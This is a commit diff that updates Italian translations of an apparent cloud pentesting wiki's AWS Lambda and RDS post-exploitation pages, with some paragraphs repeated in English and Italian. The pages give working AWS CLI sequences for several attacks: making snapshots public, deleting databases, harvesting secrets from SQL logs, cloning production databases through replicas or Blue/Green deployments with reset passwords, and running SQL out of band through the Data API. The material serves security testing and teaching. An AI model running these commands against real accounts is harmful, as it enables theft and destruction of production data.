mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -12,13 +12,13 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda usa variabili d'ambiente per iniettare le credenziali al runtime. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle tu stesso. Risiedono nei nomi di variabile predefiniti `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
|
||||
Lambda uses environment variables to inject credentials at runtime. If you can get access to them (by reading `/proc/self/environ` or using the vulnerable function itself), you can use them yourself. They live in the default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Per impostazione predefinita, queste avranno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre a creare log group arbitrari; tuttavia le funzioni lambda spesso hanno più permessi assegnati in base al loro uso previsto.
|
||||
Per impostazione predefinita, queste avranno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre che creare log group arbitrari; tuttavia le funzioni lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
Se un attaccante in qualche modo ottiene RCE all'interno di una Lambda, potrà rubare le richieste HTTP di altri utenti alla lambda. Se le richieste contengono informazioni sensibili (cookie, credentials...) potrà esfiltrarle.
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Abusando dei Lambda Layers è anche possibile sfruttare le extensions e persistere nella lambda ma anche rubare e modificare le richieste.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +34,9 @@ Abusando dei Lambda Layers è anche possibile sfruttare le extensions e persiste
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Costringi una Lambda function a uscire da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita nel piano di rete gestito da Lambda, riottenendo l'accesso Internet in uscita e bypassando i controlli di egress imposti dalle subnet VPC private senza NAT.
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
Forza una Lambda function fuori da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita quindi nel Lambda-managed networking plane, riacquistando l'accesso internet in uscita e bypassando i controlli di egress imposti dalle private VPC subnets senza NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +44,9 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per bloccare una function su una specifica versione del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la function su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
Abusa di `lambda:PutRuntimeManagementConfig` per fissare una funzione su una specifica runtime version (Manual) o congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la funzione su un runtime obsoleto e vulnerabile per facilitare l'exploitation e la persistenza a lungo termine.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +54,9 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abusa dei controlli avanzati di logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una function verso un CloudWatch Logs log group scelto dall'attaccante. Questo funziona senza cambiare codice o il ruolo di esecuzione (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la function stampa segreti/corpi di richiesta o va in crash con stack trace, puoi raccoglierli dal nuovo log group.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
Abusa dei controlli di advanced logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una funzione verso un CloudWatch Logs log group scelto dall'attacker. Questo funziona senza cambiare il codice o l'execution role (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la funzione stampa secrets/request bodies o va in crash con stack traces, puoi raccoglierli dal nuovo log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +64,9 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Trasforma una private Lambda Function URL in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e collegando una resource-based policy che conceda lambda:InvokeFunctionUrl a chiunque. Questo abilita l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
Trasforma una Lambda Function URL privata in un endpoint pubblico non autenticato cambiando il Function URL AuthType in NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a everyone. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +74,9 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis o SQS vengano recapitati a una function controllata dall'attaccante. Questo devia silenziosamente i dati in tempo reale senza toccare i producer o il codice della function originale.
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis, o SQS vengano recapitati a una funzione controllata dall'attacker. Questo devia silenziosamente dati live senza toccare i producer o il codice della funzione originale.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +84,9 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la function precedentemente non poteva accedere.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che lista/legge file dal path montato per exfiltrare shared secrets/config a cui la funzione prima non poteva accedere.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se l'attaccante ha i permessi necessari, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi ripristinando un DB accessibile pubblicamente dallo snapshot.
|
||||
Se un attaccante ha permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi creando un DB accessibile pubblicamente dallo snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un attacker con questi permessi potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB a partire da quello snapshot.
|
||||
Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **disponibile** **pubblicamente**. Poi, potrebbe semplicemente creare nel suo account un DB da quel snapshot.
|
||||
|
||||
Se l'attacker **non ha il `rds:CreateDBSnapshot`**, può comunque rendere **altri** snapshot creati **pubblici**.
|
||||
Se l'attaccante **non ha `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attacker con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente nei log, l'attacker potrebbe potenzialmente usare queste informazioni per elevare i propri privilegi o eseguire azioni non autorizzate.
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se vengono accidentalmente registrati dati sensibili o credenziali di accesso, l'attaccante potrebbe utilizzare queste informazioni per ottenere privilegi più elevati o compiere azioni non autorizzate.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
|
||||
**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate usando credenziali leaked.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un attaccante con questi permessi può **DoS le istanze RDS esistenti**.
|
||||
Un attaccante con queste autorizzazioni può **DoS le istanze RDS esistenti**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impatto potenziale**: Eliminazione di istanze RDS esistenti e possibile perdita di dati.
|
||||
**Impatto potenziale**: Eliminazione delle istanze RDS esistenti e possibile perdita di dati.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Da testare
|
||||
|
||||
Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante controlla il bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
|
||||
Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
|
||||
**Potenziale impatto**: Accesso a dati sensibili nello snapshot esportato.
|
||||
|
||||
### Replica cross-Region dei backup automatici per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replicazione cross-Region dei backup automatici per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusa della replica cross-Region dei backup automatici per duplicare silenziosamente i backup automatici di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e reimpostare la password master per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare.
|
||||
Abusare della replica cross-Region dei backup automatici per duplicare silenziosamente i backup automatici di un'istanza RDS in un'altra AWS Regione e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e reimpostare la password master per accedere ai dati out-of-band in una Regione che i difensori potrebbero non monitorare.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
|
||||
- `rds:ModifyDBInstance` nella Region di destinazione
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Regione di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Regione di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Regione di destinazione
|
||||
- `rds:ModifyDBInstance` nella Regione di destinazione
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
|
||||
|
||||
Impatto: Persistenza ed esfiltrazione dei dati ripristinando una copia dei dati di produzione in un'altra Region e esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Regione ed esponendoli pubblicamente con credenziali controllate dall'attaccante.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Abilitare il logging SQL completo tramite DB parameter groups ed esfiltrare tramite RDS log APIs
|
||||
|
||||
Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non servono credenziali del DB engine). Abilita il logging SQL del motore e scarica i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza usa quello di default)
|
||||
- `rds:RebootDBInstance` (per parametri che richiedono reboot, es. PostgreSQL)
|
||||
|
||||
Passaggi
|
||||
1) Recon target e parameter group corrente
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assicurarsi che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare quello predefinito)
|
||||
- Se l'istanza usa già un gruppo personalizzato, riutilizzarne il nome nel passo successivo.
|
||||
- Altrimenti creare e associare uno corrispondente alla famiglia del motore:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Abilitare la registrazione SQL dettagliata
|
||||
- Motori MySQL (immediato / nessun riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- Motori PostgreSQL (reboot required):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Lascia eseguire il workload (o genera query). Le istruzioni verranno scritte nei file di log del motore
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Individua e scarica i log (non sono richieste credenziali DB)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizzare offline i dati sensibili
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Esempio di evidenza (oscurata):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Pulizia
|
||||
- Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impatto: accesso ai dati in post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, e PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per esfiltrare dati.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impatto: accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attacker; minore probabilità di rilevamento poiché la primaria rimane intatta e la replicazione continua.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Esempio di evidenza (MySQL):
|
||||
- Stato DB replica: `available`, replicazione in sola lettura: `replicating`
|
||||
- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso alla replica in sola lettura.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione degli snapshot e spesso bypassa i sistemi di monitoraggio focalizzati solo sulla sorgente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impatto: Accesso in sola lettura ma completo a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per l'estrazione furtiva dei dati e l'analisi offline.
|
||||
|
||||
|
||||
### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la master password
|
||||
|
||||
Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL su HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impatto: Elude la segmentazione di rete ed esfiltra dati tramite le API AWS senza connettività VPC diretta al DB.
|
||||
|
||||
<details>
|
||||
<summary>Esempio CLI end-to-end (Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
